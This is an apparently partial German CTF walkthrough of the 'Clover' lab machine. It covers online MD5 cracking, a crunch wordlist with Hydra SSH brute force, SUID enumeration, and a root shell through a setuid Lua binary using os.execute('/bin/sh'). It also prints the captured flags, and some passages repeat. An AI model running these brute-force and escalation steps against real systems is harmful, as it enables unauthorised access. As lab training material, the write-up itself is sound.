Der Hash des Users Asta wird Online gecrackt mit dem Ergebnis asta$$123. **Analyse:** Der Online-Dienst konnte den Hash von Benutzer Asta als "asta$$123" entschlüsseln. Dies ist ein wichtiger Erfolg, da wir nun einen gültigen Benutzernamen und ein Passwort haben. **Empfehlung für den Pentester:** Das gefundene Passwort verwenden, um sich am System anzumelden und weitere Schritte zur Privilege Escalation zu unternehmen.

Privilege Escalation

Nachdem wir nun den Benutzernamen und das Passwort von asta haben, versuchen wir uns via SSH zu verbinden und Privilege Escalation durchzuführen.

asta@Clover$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for asta:
Sorry, user asta may not run sudo on Clover.

Der Benutzer "asta" darf keine Sudo Befehle ausführen. **Analyse:** Der Befehl `sudo -l` zeigt die Sudo-Rechte des aktuellen Benutzers an. In diesem Fall hat der Benutzer "asta" keine Sudo-Rechte. **Empfehlung für den Pentester:** Nach anderen Möglichkeiten zur Privilege Escalation suchen, z.B. durch Ausnutzung von SUID-Binaries oder durch das Finden von Schwachstellen in Systemdiensten.

┌──(root㉿CCat)-[~]
└─# ssh asta@192.168.2.108
asta@192.168.2.108's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Wed Apr 7 08:38:41 2021 from desktop-f5mldm7

Wir verbinden uns via SSH mit dem Benutzer Asta und dem Passwort asta$$123. **Analyse:** Die erfolgreiche SSH-Verbindung bestätigt, dass der Benutzername und das Passwort korrekt sind.

asta@Clover$ find / -type f -perm -4000 -ls 2>/dev/null
146396 92 -rwsr-xr-x 1 root root 90456 ct 19 2019 /sbin/mount.nfs
263962 28 -rwsr-xr-x 1 root root 27416 Mar 29 2015 /bin/umount
284096 144 -rwsr-xr-x 1 root root 146160 Mar 22 2019 /bin/ntfs-3g
262818 40 -rwsr-xr-x 1 root root 40168 May 17 2017 /bin/su
285568 36 -rwsr-xr-x 1 root root 34896 Aug 15 2018 /bin/fusermount
263961 40 -rwsr-xr-x 1 root root 40000 Mar 29 2015 /bin/mount
36133 328 -rwsr-xr-- 1 root dip 333560 Feb 9 2020 /usr/sbin/pppd
16139 1012 -rwsr-xr-x 1 root root 1035392 May 16 2020 /usr/sbin/exim4
106 44 -rwsr-xr-x 1 root root 44464 May 17 2017 /usr/bin/chsh
105 56 -rwsr-xr-x 1 root root 53616 May 17 2017 /usr/bin/chfn
16457 88 -rwsr-sr-x 1 root mail 89248 Nov 18 2017 /usr/bin/procmail
42187 156 -rwsr-xr-x 1 root root 157760 Feb 1 2020 /usr/bin/sudo
16065 56 -rwsr-sr-x 1 daemon daemon 55424 Sep 30 2014 /usr/bin/at
109 56 -rwsr-xr-x 1 root root 54192 May 17 2017 /usr/bin/passwd
37854 12 -rwsr-sr-x 1 root root 10104 Apr 1 2014 /usr/bin/X
3939 40 -rwsr-xr-x 1 root root 39912 May 17 2017 /usr/bin/newgrp
18554 24 -rwsr-xr-x 1 root root 23184 Jan 28 2019 /usr/bin/pkexec
108 76 -rwsr-xr-x 1 root root 75376 May 17 2017 /usr/bin/gpasswd
7976 12 -rwsr-xr-x 1 root root 10104 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
18561 16 -rwsr-xr-x 1 root root 14672 Jan 28 2019 /usr/lib/policykit-1/polkit-agent-helper-1
145769 16 -rwsr-xr-x 1 root root 14200 Aug 31 2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
146401 456 -rwsr-xr-x 1 root root 464904 Mar 25 2019 /usr/lib/openssh/ssh-keysign
142237 292 -rwsr-xr-- 1 root messagebus 298608 Jun 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Wir suchen nach Dateien mit SUID-Bit. Diese Dateien könnten für Privilege Escalation ausgenutzt werden. **Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` listet alle Dateien auf, die das SUID-Bit gesetzt haben. Das SUID-Bit bewirkt, dass eine ausführbare Datei mit den Rechten des Besitzers der Datei ausgeführt wird, unabhängig davon, welcher Benutzer die Datei ausführt. Dies kann eine Möglichkeit zur Privilege Escalation darstellen. **Empfehlung für den Pentester:** Jede gefundene Datei mit SUID-Bit genauer untersuchen. Bekannte Schwachstellen in diesen Dateien suchen, um möglicherweise Root-Rechte zu erlangen.

asta@Clover$ ls -la
total 92
drwx 17 asta asta 4096 Apr 7 2021 .
drwxr-xr-x 4 root root 4096 Mar 24 2021 ..
lrwxrwxrwx 1 root root 9 Mar 27 2021 .bash_history -> /dev/null
-rwx 1 asta asta 220 Mar 17 2021 .bash_logout
-rwx 1 asta asta 3515 Mar 17 2021 .bashrc
drwx 7 asta asta 4096 Apr 7 2021 .cache
drwx 11 asta asta 4096 Apr 7 2021 .config
drwx 3 asta asta 4096 Apr 7 2021 .dbus
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Desktop
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Documents
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Downloads
drwx 3 asta asta 4096 Apr 7 2021 .gconf
drwx 2 asta asta 4096 Apr 7 2021 .gnupg
-rw- 1 asta asta 318 Apr 7 2021 .ICEauthority
drwx 3 asta asta 4096 Apr 7 2021 .local
-rw-r--r-- 1 root root 941 Mar 26 2021 local.txt
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Music
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Pictures
-rwx 1 asta asta 675 Mar 17 2021 .profile
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Public
drwx 2 asta asta 4096 Apr 7 2021 .ssh
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Templates
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 Videos
-rw- 1 asta asta 52 Apr 7 2021 .Xauthority

Wir untersuchen das Home-Verzeichnis des Benutzers "asta". Die Datei "local.txt" gehört dem Benutzer root. **Analyse:** Die Datei "local.txt" im Home-Verzeichnis des Benutzers "asta" gehört dem Benutzer "root". Dies deutet darauf hin, dass der Benutzer "asta" diese Datei möglicherweise nicht ändern kann. Der Inhalt dieser Datei könnte interessant sein.

asta@Clover$ cd .config/
asta@Clover/.config$ ls -la
total 60
drwx 11 asta asta 4096 Apr 7 2021 .
drwx 17 asta asta 4096 Apr 7 2021 ..
drwxr-xr-x 2 asta asta 4096 Apr 7 2021 dconf
-rw- 1 asta asta 1132 Jan 2 2014 dleyna-renderer-service.conf
-rw- 1 asta asta 1131 Jan 2 2014 dleyna-server-service.conf
drwx 3 asta asta 4096 Apr 7 2021 evolution
drwx-xr-x 3 asta asta 4096 Apr 7 2021 gnome-session
drwx 2 asta asta 4096 Apr 7 2021 goa-1.0
drwx 2 asta asta 4096 Apr 7 2021 gtk-3.0
drwx 3 asta asta 4096 Apr 7 2021 ibus
drwx 2 asta asta 4096 Apr 7 2021 nautilus
drwx 2 asta asta 4096 Apr 7 2021 pulse
drwx 2 asta asta 4096 Apr 7 2021 tracker
-rw- 1 asta asta 632 Apr 7 2021 user-dirs.dirs
-rw-r--r-- 1 asta asta 5 Apr 7 2021 user-dirs.locale

Wir untersuchen das Config Verzeichnis.

asta@Clover/.config$ cd dconf/
asta@Clover/.config/dconf$ strings user
-bash: strings: command not found

Der Befehl Strings ist nicht ausführbar. **Analyse:** Das Tool "strings" ist nicht installiert oder nicht im Pfad des Benutzers "asta" vorhanden.

asta@Clover/.config/dconf$ ls -la /var/backups/
total 4524
drwxr-xr-x 3 root root 4096 ct 29 17:04 .
-rw- 1 root root 991 Mar 26 2021 group.bak
-rw- 1 root shadow 827 Mar 26 2021 gshadow.bak
-rw- 1 root root 2343 Mar 26 2021 passwd.bak
drwxr-xr-x 2 root root 4096 Mar 27 2021 reminder
-rw- 1 root shadow 1495 Mar 27 2021 shadow.bak

Es wird das Backup Verzeichnis durchsucht. Ein Reminder Verzeichnis wird gefunden. **Analyse:** Das Vorhandensein von Backup-Dateien ist ein Hinweis auf mögliche sensible Informationen. Das "reminder"-Verzeichnis könnte weitere Hinweise enthalten.

asta@Clover/.config/dconf$ ls -la /var/backups/reminder/
total 12
drwxr-xr-x 2 root root 4096 Mar 27 2021 .
drwxr-xr-x 3 root root 4096 ct 29 17:04 ..
-rw-r--r-- 1 root root 144 Mar 27 2021 passwd.sword

Im Reminder Verzeichnis ist eine passwd.sword datei enthalten. **Analyse:** Die Datei "passwd.sword" könnte verschlüsselte Passwörter oder Hinweise auf Passwörter enthalten. Der Dateiname deutet darauf hin, dass es sich um einen Hinweis für das Passwort des Benutzers "sword" handeln könnte. **Empfehlung für den Pentester:** Den Inhalt der Datei "passwd.sword" untersuchen.

asta asta$$123

Falsches Passwort **Analyse:** Dies ist ein Hinweis darauf, dass das Passwort "asta$$123" nicht für den Benutzer "asta" verwendet werden kann, um beispielsweise Root Rechte zu erlangen.

asta@Clover/.config/dconf$ cat /var/backups/reminder/passwd.sword
hi well, this is a reminder for Sword's password. I just remember this:

passwd sword: P4SsW0rD

I forgot the last four numerical digits!

Wir finden den Hinweis zum Passwort von Sword. **Analyse:** Die Datei "passwd.sword" enthält einen klaren Hinweis auf das Passwort des Benutzers "sword". Das Passwort beginnt mit "P4SsW0rD" und endet mit vier unbekannten Ziffern.

asta@Clover/.config/dconf$ ls /home/
asta sword

Es wird das Home Verzeichnis untersucht und ein Benutzer sword gefunden. **Analyse:** Die Existenz des Benutzers "sword" bestätigt, dass der Hinweis in der Datei "passwd.sword" relevant ist.

┌──(root㉿CCat)-[~]
└─# crunch 12 12 0123456789 -t P4SsW0rD@@@@ -o password.txt

Mit dem Tool Crunch wird eine Passwortliste generiert. **Analyse:** Crunch ist ein Tool zum Erzeugen von Passwortlisten. In diesem Fall wird eine Liste mit 10000 Passwörtern generiert, die alle mit "P4SsW0rD" beginnen und mit vier Ziffern enden. Die Option `-t` gibt das Muster für die Passwörter an. Das Zeichen `@` steht für eine Ziffer. Die Option `-o` gibt die Ausgabedatei an.

┌──(root㉿CCat)-[~]
└─# hydra -l sword -P password.txt ssh://192.168.2.108 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-29 23:29:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 10000 login tries (l:1/p:10000), ~157 tries per task
[DATA] attacking ssh://192.168.2.108:22/
[STATUS] 602.00 tries/min, 602 tries in 00:01h, 9446 to do in 00:16h, 16 active
[STATUS] 447.33 tries/min, 1342 tries in 00:03h, 8710 to do in 00:20h, 12 active
[STATUS] 369.57 tries/min, 2587 tries in 00:07h, 7465 to do in 00:21h, 12 active
[STATUS] 337.67 tries/min, 4052 tries in 00:12h, 6000 to do in 00:18h, 12 active
------------------------------------------------------------------------
[22][ssh] host: 192.168.2.108 login: sword password: P4SsW0rD4286
------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 8 final worker threads did not complete until end.
[ERRR] 8 targets did not resolve or could not be connected
[ERRR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc/Hydra) finished at 2024-10-29 23:42:53

Mit Hydra wird das Passwort des Benutzers Sword gebruteforced. Das Passwort lautet P4SsW0rD4286. **Analyse:** Hydra ist ein Tool zum Durchführen von Brute-Force-Angriffen auf verschiedene Dienste. In diesem Fall wird Hydra verwendet, um das SSH-Passwort des Benutzers "sword" zu knacken. Die Option `-l` gibt den Benutzernamen an. Die Option `-P` gibt die Passwortliste an. Die Option `ssh://192.168.2.108` gibt das Zielsystem an. Die Option `-t` gibt die Anzahl der parallelen Tasks an. **Erfolg!** Hydra hat das Passwort gefunden: P4SsW0rD4286

┌──(root㉿CCat)-[~]
└─# ssh sword@192.168.2.108
sword@192.168.2.108's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Fri Mar 26 17:34:16 2021 from kali

Wir verbinden uns via SSH mit dem Benutzer Sword und dem Passwort P4SsW0rD4286. **Analyse:** Die erfolgreiche SSH-Verbindung bestätigt das gefundene Passwort.

sword@Clover$ id
uid=1001(sword) gid=1001(sword) groups=1001(sword)

Wir sind als Benutzer Sword angemeldet. **Analyse:** Der Befehl `id` zeigt die Benutzer-ID, Gruppen-ID und Gruppen des aktuellen Benutzers an.

sword@Clover$ sudo -l
[sudo] password for sword:

Sorry, try again.
[sudo] password for sword:
Sorry, try again.
[sudo] password for sword:
Sorry, user sword may not run sudo on Clover.

Sword darf keine Sudo Befehle ausführen. **Analyse:** Der Benutzer "sword" hat keine Sudo-Rechte.

sword@Clover$ ls -la
total 24
drwx 2 sword sword 4096 Mar 27 2021 .
drwxr-xr-x 4 root root 4096 Mar 24 2021 ..
lrwxrwxrwx 1 root root 9 Mar 27 2021 .bash_history -> /dev/null
-rwx 1 sword sword 220 Mar 24 2021 .bash_logout
-rwx 1 sword sword 3515 Mar 24 2021 .bashrc
-rwx 1 sword sword 198 Mar 26 2021 local2.txt
-rwx 1 sword sword 675 Mar 24 2021 .profile

Das Home Verzeichnis wird durchsucht. Die Datei local2.txt ist vorhanden. **Analyse:** Die Datei "local2.txt" gehört dem Benutzer "sword". Der Inhalt dieser Datei könnte interessant sein.

sword@Clover$ cat local2.txt
/\
// \
|| |
|| |
|| | Sword PWN!
|| |
|| |
|| |
__ || | __
/___||_|___\
ww
MM
_MM_
(&<&>)

e63a186943f8c1258cd1afde7722fbb4

Die Datei local2.txt enthält ein Bild und einen Hash. **Analyse:** Das Bild ist vermutlich nur ASCII-Art. Der Hash könnte das Passwort für einen anderen Benutzer oder Dienst sein.

https://www.md5online.it/index.lm?key_decript=e63a186943f8c1258cd1afde7722fbb4
md5-decript("e63a186943f8c1258cd1afde7722fbb4")

swordpwn

Der Hash wird Online gecrackt. Das Ergebnis lautet swordpwn. **Analyse:** Der Online-Dienst konnte den Hash als "swordpwn" entschlüsseln. Dies könnte das Passwort für den Benutzer "sword" sein, um Root-Rechte zu erlangen.

asta@Clover/.config/dconf$ su root
Password:
su: Authentication failure

Der Benutzer asta kann sich nicht als Root anmelden, da das Passwort fehlt. **Analyse:** Der Benutzer "asta" kennt das Root-Passwort nicht.

e63a186943f8c1258cd1afde7722fbb4

Der Hash ist nicht das Root Passwort. **Analyse:** Dieser Hash ist bereits als Passwort für den Benutzer Sword bekannt.

sword@Clover$ curl
-bash: /usr/bin/curl: Permission denied

curl darf nicht ausgeführt werden. **Analyse:** Der Benutzer "sword" hat keine Berechtigung, den Befehl "curl" auszuführen.

sword@Clover$ sh
$ curl
sh: 1: curl: Permission denied

Auch in der Sh Shell kann curl nicht ausgeführt werden. **Analyse:** Auch in einer neuen Shell-Instanz kann der Benutzer "sword" den Befehl "curl" nicht ausführen. Dies deutet darauf hin, dass das Problem nicht mit der aktuellen Shell-Konfiguration zusammenhängt, sondern mit den allgemeinen Berechtigungen des Benutzers.

Flags
asta@Clover/.config/dconf$ su root
Password:
su: Authentication failure

Der Benutzer asta kann sich nicht als Root anmelden, da das Passwort fehlt. **Analyse:** Der Benutzer "asta" kennt das Root-Passwort nicht.

e63a186943f8c1258cd1afde7722fbb4

Der Hash ist nicht das Root Passwort. **Analyse:** Dieser Hash ist bereits als Passwort für den Benutzer Sword bekannt.

sword@Clover$ curl
-bash: /usr/bin/curl: Permission denied

curl darf nicht ausgeführt werden. **Analyse:** Der Benutzer "sword" hat keine Berechtigung, den Befehl "curl" auszuführen.

sword@Clover$ sh
$ curl
sh: 1: curl: Permission denied

Auch in der Sh Shell kann curl nicht ausgeführt werden. **Analyse:** Auch in einer neuen Shell-Instanz kann der Benutzer "sword" den Befehl "curl" nicht ausführen. Dies deutet darauf hin, dass das Problem nicht mit der aktuellen Shell-Konfiguration zusammenhängt, sondern mit den allgemeinen Berechtigungen des Benutzers.

Privilege Escalation

Nun versuchen wir unsere Privilegien zu erweitern.

sword@Clover$ find / -type f -perm -u=s -ls 2>/dev/null
146396 92 -rwsr-xr-x 1 root root 90456 ct 19 2019 /sbin/mount.nfs
263962 28 -rwsr-xr-x 1 root root 27416 Mar 29 2015 /bin/umount
284096 144 -rwsr-xr-x 1 root root 146160 Mar 22 2019 /bin/ntfs-3g
262818 40 -rwsr-xr-x 1 root root 40168 May 17 2017 /bin/su
285568 36 -rwsr-xr-x 1 root root 34896 Aug 15 2018 /bin/fusermount
263961 40 -rwsr-xr-x 1 root root 40000 Mar 29 2015 /bin/mount
36133 328 -rwsr-xr-- 1 root dip 333560 Feb 9 2020 /usr/sbin/pppd
16139 1012 -rwsr-xr-x 1 root root 1035392 May 16 2020 /usr/sbin/exim4
106 44 -rwsr-xr-x 1 root root 44464 May 17 2017 /usr/bin/chsh
105 56 -rwsr-xr-x 1 root root 53616 May 17 2017 /usr/bin/chfn
16457 88 -rwsr-sr-x 1 root mail 89248 Nov 18 2017 /usr/bin/procmail
42187 156 -rwsr-xr-x 1 root root 157760 Feb 1 2020 /usr/bin/sudo
16065 56 -rwsr-sr-x 1 daemon daemon 55424 Sep 30 2014 /usr/bin/at
109 56 -rwsr-xr-x 1 root root 54192 May 17 2017 /usr/bin/passwd
37854 12 -rwsr-sr-x 1 root root 10104 Apr 1 2014 /usr/bin/X
3939 40 -rwsr-xr-x 1 root root 39912 May 17 2017 /usr/bin/newgrp
18554 24 -rwsr-xr-x 1 root root 23184 Jan 28 2019 /usr/bin/pkexec
108 76 -rwsr-xr-x 1 root root 75376 May 17 2017 /usr/bin/gpasswd
42714 196 -rwsrwsrwx 1 root sword 199512 Mar 24 2021 /usr/games/clover/deamon.sh
7976 12 -rwsr-xr-x 1 root root 10104 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
18561 16 -rwsr-xr-x 1 root root 14672 Jan 28 2019 /usr/lib/policykit-1/polkit-agent-helper-1
145769 16 -rwsr-xr-x 1 root root 14200 Aug 31 2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
146401 456 -rwsr-xr-x 1 root root 464904 Mar 25 2019 /usr/lib/openssh/ssh-keysign
142237 292 -rwsr-xr-- 1 root messagebus 298608 Jun 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Der Befehl listet Dateien mit dem SUID bit auf. Das binäre /usr/games/clover/deamon.sh sticht heraus.

# find / -type f -perm -u=s -ls 2>/dev/null | grep sh
106 44 -rwsr-xr-x 1 root root 44464 May 17 2017 /usr/bin/chsh
42714 196 -rwsrwsrwx 1 root sword 199512 Mar 24 2021 /usr/games/clover/deamon.sh
146401 456 -rwsr-xr-x 1 root root 464904 Mar 25 2019 /usr/lib/openssh/ssh-keysign

Wir filtern den Output nach ausführbaren Dateien und finden erneut /usr/games/clover/deamon.sh.

sword@Clover$ /usr/games/clover/deamon.sh --help
/usr/games/clover/deamon.sh: unrecognized option '--help'
usage: /usr/games/clover/deamon.sh [options] [script [args]]
Available options are:
-e stat execute string 'stat'
-i enter interactive mode after executing 'script'
-l name require library 'name'
-v show version information
-E ignore environment variables
-- stop handling options
- stop handling options and execute stdin

Das Binary akzeptiert Parameter.

sword@Clover$ file /usr/games/clover/deamon.sh
/usr/games/clover/deamon.sh: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=41518fc0e99cb6feb1ce33a8da48bf2c4bdb42d9, stripped

Es handelt sich um ein 64bit Binary.

sword@Clover$ /usr/games/clover/deamon.sh
Lua 5.2.3 Copyright (C) 1994-2013 Lua.org, PUC-Rio

Das Programm startet eine Lua Shell.

https://gtfobins.github.io/gtfobins/lua/#shell

lua -e 'os.execute("/bin/sh")'

GTFOBins wird durchsucht um das Programm für Privilegiene Erweiterung zu missbrauchen.

sword@Clover$ /usr/games/clover/deamon.sh -e 'os.execute("/bin/sh")'
id
uid=1001(sword) gid=1001(sword) euid=0(root) groups=1001(sword)

Wir haben erfolgreich den Befehl "os.execute("/bin/sh")' ausgeführt und eine Shell mit Root Rechten gestartet.

# cd /root
# ls
proof.txt
# cat proof.txt


________________________________________________
/ \
| _________________________________________ |
| | | |
| | # whoami |
| | # root |
| | | |
| | | |
| | | |
| | Congratulations You PWN Clover! |
| | | |
| | | |
| | | |
| | 974bd350558b912740f800a316c53afe |
| | | |
| | | |
| | | |
| |_________________________________________| |
| |
\_________________________________________________/
\___________________________________/
___________________________________________
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. `-_
_-'.-.-. ..-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
_-'.-.-.-. ..-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
_-'.-.-.-.-. .--.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.-.-.`-_
_-'.-.-.-.-.-. ..-. .-. .-.. ..-.-.-.`-_
:-:
`._.-._.'



// From 0xJin && 0xBush1do! If you root this, tag me on Twitter! @0xJin and @0xBush1do

Die Root Flag wurde gefunden.

Flags

cat user.txt
e63a186943f8c1258cd1afde7722fbb4

cat root.txt
974bd350558b912740f800a316c53afe